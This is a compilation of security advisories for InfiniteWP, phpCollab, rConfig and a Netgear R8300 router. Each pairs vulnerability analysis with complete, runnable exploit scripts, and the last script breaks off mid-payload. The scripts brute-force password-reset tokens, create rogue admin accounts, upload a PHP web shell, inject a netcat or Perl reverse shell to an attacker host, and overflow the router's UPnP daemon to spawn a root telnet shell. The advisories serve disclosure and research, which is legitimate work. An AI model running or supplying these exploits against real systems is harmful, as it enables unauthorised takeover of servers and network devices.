SSD Advisory – Auth Bypass and RCE in Infinite WP Admin Panel

TL;DR

Find out how a vulnerability in Infinite WP’s password reset mechanism allows an unauthenticated user to become authenticated and then carry out a Remote Code Execution.

Vulnerability Summary

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”.

A vulnerability in InfiniteWP allows unauthenticated users to become authenticated if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product.

Credit

Independent security researcher, polict of Shielder ( ShielderSec ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Infinite WP 2.15.6 and prior

Fixed Versions

Infinite WP 2.15.7 and above

NOTE: the vulnerability was silently patched without updating the change log – therefore some versions after 2.15.6 and before 2.15.7 are also immune – the vendor has not disclosed to us what versions have this fix in place

CVE

CVE-2020-28642

Vendor Response

When we informed the vendor in September 2020, they stated that they were previously informed about the issue (reported to them a few months before) and they were planning to release the patch to everyone within 3-4 weeks.

They asked us to wait for Jan 2021, so that they can confirm that all their customers got patched.

A few days ago, we found out that other researcher has published his findings (around Nov 2020) and the vendor didn’t take the time to notify us of this – though they have promised they would – we have therefore decided to moved forward and released this full advisory.

Vulnerability Analysis

1. Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (inside controllers/appFunctions.php line 1341) :

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
[...]
$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets[‘userID’] is the target user identifier and $params[“email”] is their email.An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • The user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to purchase the ‘manage-users’ addon (https://infinitewp.com/docs/addons/manage-users/); that being said, the attached exploit script by default tries values from 1 to 5;
  • The user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is; the attached exploit script automatically notifies if the input email is not registered;
  • The value generated by microtime(true) is the current UNIX timestamp with microseconds (php.net/microtime), hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successful with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing.

During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed / congestion / configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

2. Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint. The details are since publicly available at https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html

As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    }
    return false;
}

However that check doesn’t take in consideration that PHP function names are case insensitive: by using addfunctions (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.

Demo

Exploit

#!/usr/bin/env python3
# coding: utf8
#
# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
#
# tested on:
# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
#
# the bug chain is made of two bugs:
# 1. weak password reset token leads to privilege escalation
# 2. rce patch from 2016 can be bypassed with same payload but lowercase
#
# example run:
# $ ./iwp_rce.py -e 'a@b.c' -rh http://192.168.11.129/iwp -lh 192.168.11.1
# 2020-08-13 14:45:29,496 - INFO - initiating password reset...
# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
# /bin/sh: 0: can't access tty; job control turned off
# $ id
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
# $ uname -a
# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
# $ exit
# *** Connection closed by remote host ***
# 
# polict, 13/08/2020

import sys, time
import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from concurrent.futures import as_completed
from requests_futures.sessions import FuturesSession
import logging
import logging.handlers
import datetime
from argparse import ArgumentParser
from hashlib import sha1
import socket
import telnetlib
from threading import Thread

### default settings
DEFAULT_LPORT = 9111
DEFAULT_MICROS = 1000000
DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"
PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

### argument parsing
parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
            help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")
parser.add_argument("-e", "--email", dest="email",
            help="target email", required=True)
parser.add_argument("-u", '--user-id', dest="uid",
            help="user_id (in the default installation it is 1, if not set will try 1..5)")
parser.add_argument("-lh", '--lhost', dest="lhost",
            help="local ip to use for remote shell connect-back",
            required=True)
parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
parser.add_argument("-m", "--micros", dest="micros_elapsed",
            help="number of microseconds to test (if not set 1000000 (1 second))",
            default=DEFAULT_MICROS)
parser.add_argument("-lp", '--lport', dest="lport",
            help="local port to use for remote shell connect-back",
            default=DEFAULT_LPORT)
parser.add_argument("-p", '--new-password', dest="new_password",
            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
            default=DEFAULT_NEW_PASSWORD)
parser.add_argument("-d", "--debug", dest="debug_mode",
            action="store_true",
            help="enable debug mode")
args = parser.parse_args()

log = logging.getLogger(__name__)
if args.debug_mode:
    log.setLevel(logging.DEBUG)
else:
    log.setLevel(logging.INFO)

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
log.addHandler(handler)

### actual exploit logic
def init_pw_reset():
    global args
    start_clock = time.perf_counter()
    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    log.debug("init pw reset start ts: {}".format(start_ts))
    response = requests.post("{}/login.php".format(args.rhost), verify=False,
    data={
        "email": args.email, 
        "action": "resetPasswordSendMail", 
        "loginSubmit": "Send Reset Link"
    }, allow_redirects=False)
    log.debug("init pw reset returned these headers: {}".format(response.headers))
    """
    now we could use our registered timings to restrict the bruteforce values to the minimum range
    instead of using the whole "last second" microseconds range, however we can't be 100% sure
    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

    # calculate actual ntp-time range
    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    delta_clock = end_clock - start_clock
    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
    log.debug("end: {}".format(end_ts))
    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
    
    # this takes for garanteed that the response arrives before 1 minute is elapsed
    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
    log.debug("micros elapsed: {}".format(micros_elapsed))
    """

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")
        sys.exit(1)

    # both redirects are ok because the reset hash is written in the db before sending the mail
    if response.status_code == 302 \
        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
        
        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
        log.debug("server time: {}".format(server_dt))
        """
        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
        """
        args.start_ts = int(server_dt.timestamp())
        # args.micros_elapsed = 1000000

        return 
    else:
        log.error("pw reset init failed, check with debug enabled (-d)")
        sys.exit(1)

def generate_reset_hash(timestamp, uid):
    global args
    """
        $hashValue = serialize(array('hashCode' => 'resetPassword', 
        'uniqueTime' => microtime(true), 
        'userPin' => $userDets['userID']));

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

        $resetHash = sha1($hashValue);
    """
    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
    serialized_resethash = template_ts_uid %(timestamp, uid)
    hash_obj = sha1(serialized_resethash.encode())
    reset_hash = hash_obj.hexdigest()
    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
    return reset_hash

def brute_pw_reset():
    global args, start_time
    if args.uid is None:
        # in the default installation the uid is 1, but let's try also some others in case they have installed 
        # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/
        uids = [1,2,3,4,5]
    else:
        uids = [args.uid]
    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
    sha1_email = sha1(args.email.encode()).hexdigest()
    with FuturesSession() as session: # max_workers=4
        for uid in uids:
            log.info("starting with uid {}...".format(uid))
            microsecond = 0
            hashes_tested = 0
            while microsecond < args.micros_elapsed:
                futures = []
                # try 100k per time to avoid ram cluttering
                for _ in range(100000):
                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                    # unix_ts = int(test_ts.timestamp())
                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                    reset_hash = generate_reset_hash(ms_string, uid)
                    futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                        "action":"resetPasswordChange", \
                        "resetHash": reset_hash, \
                        "newPassword": args.new_password \
                    }, allow_redirects=False))
                    microsecond += 1
                for future in as_completed(futures):
                    if hashes_tested % 50000 == 0 and hashes_tested > 0:
                        log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                    hashes_tested += 1
                    response = future.result()
                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                    if "successMsg" in response.headers["location"] :
                        log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password))
                        log.info("removing from the queue all the remaining hashes...")
                        for future in futures:
                            future.cancel()
                        return
            log.info("target user doesn't have uid {}...".format(uid))

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))
    sys.exit(1)

def handler():
    global args
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", args.lport))
    s.listen(1)
    conn, addr = s.accept()
    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
    t.sock = conn
    t.interact()

def login_and_rce():
    global args
    handlerthr = Thread(target=handler)
    handlerthr.start()

    # login and record cookies
    s = requests.Session()
    log.debug("logging in...")
    login = s.post("{}/login.php".format(args.rhost), data={"email": args.email,
    "password": args.new_password,
    "loginSubmit": "Log in"})
    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

    # rce
    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
    # notice the lowercase f 
    # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html)
    "requiredData[addfunctions]" : "system", 
    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
    })
    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

if __name__ == '__main__':
    if args.start_ts is None:
        log.info("initiating password reset...")
        init_pw_reset()
    log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
    brute_pw_reset()
    log.info("spawning a remote shell...")
    login_and_rce()

SSD Advisory – phpCollab Unauth RCE

TL;DR

Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.

Vulnerability Summary

phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.

A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.

Credit

An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Versions

phpCollab 2.7.2 and prior

Fixed Versions

phpCollab 2.8.2

Vendor Response

“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.

If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.

Thanks for helping test this issue”.

Vulnerability Analysis

phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.

Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.

This allows a remote attacker to upload files to the server, which he can then subsequently, access.

By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.

NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.

Demo

Exploit

#!/usr/bin/python3
import requests
import sys
import logging

try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
# http_client.HTTPConnection.debuglevel = 1

logging.basicConfig()
# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

if len(sys.argv) < 2:
  print("Please provide a base URL")
  sys.exit()

url = sys.argv[1]

print("Attacking URL: {}".format(url))

payload = """<?php
system($_GET['cmd'])
?>"""

data = {
  'owner' : '1',
  'name' : '''5aaa()<>/"';''',
}

files = {'upload' : ( 'something.php', payload), }

headers = {
}

print("Uploading shell file")
response = requests.post( '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers)

# print("body: {}".format(response.request.body))
# print("headers: {}".format(response.request.headers))

print("Looking for our shell file")
for number in range(1, 50):
  shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number)
  response = requests.get(shell_url)
  if response.status_code == 200 and 'uid=' in response.text:
    print("Command shell found at: {}".format(shell_url))
    sys.exit()

SSD Advisory – rConfig Unauthenticated RCE

TL;DR

Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.

Credit

An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9).

useradmin.inc.php Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/useradmin.inc.php we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:

Demo

Exploit

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
    
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    
    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()

SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE

TL;DR

Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.

Vulnerability Summary

The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netgear Nighthawk R8300 running firmware versions prior to 1.0.2.134

Vendor Response

The vendor has released a patch and an advisory: https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

Vulnerability Root Cause Analysis

A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.

Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:

If we look into vulFunction, the pointer (0x025E70) is overwritten with the return address of the strcpy function. The strcpy function has two arguments. arg1 is dst buffer, arg2 is src buffer and it will perform a copy until it meets the NULL byte. The dst buffer local variable is located at the position of ebp-0x634. The src buffer is under our full control and is only limited by its size to 0x1fff. By overflowing the dst buffer we can control PC value:

In order to successfully change the PC value, we need to reach the return part of vulFunction. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).

By correctly crafting the data, we obtain control over the PC value:

ASLR Bypassing through Stack Reuse

The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of strcpy, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.

We will do this by combining two payloads, the composition of first payload is as follows:

s.send('a\x00'+expayload) #expayload is rop gadget

We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to 0x230f0 and trigger the first payload in the stack. 0x230f0 gadget can control stack pointer.

The figure below illustrates the overall exploit and payloads:

We decided to use the BSS area of 0x9E150 to place our strings that we will later use for exploitation. Using strcpy gadget 0x13648 and string gadget in the binary, we can create the exploiting payload and execute system gadget 0x1A83C.

Demo

Exploit

import socket
import time
import sys
from struct import pack

a= """
    # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
    # Date : 2020.03.09 
    # POC : system("telnetd -l /bin/sh -p 9999& ") Execute 
    # Desc : execute telnetd to access router						 
"""
print a

p32 = lambda x: pack("<L", x)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1B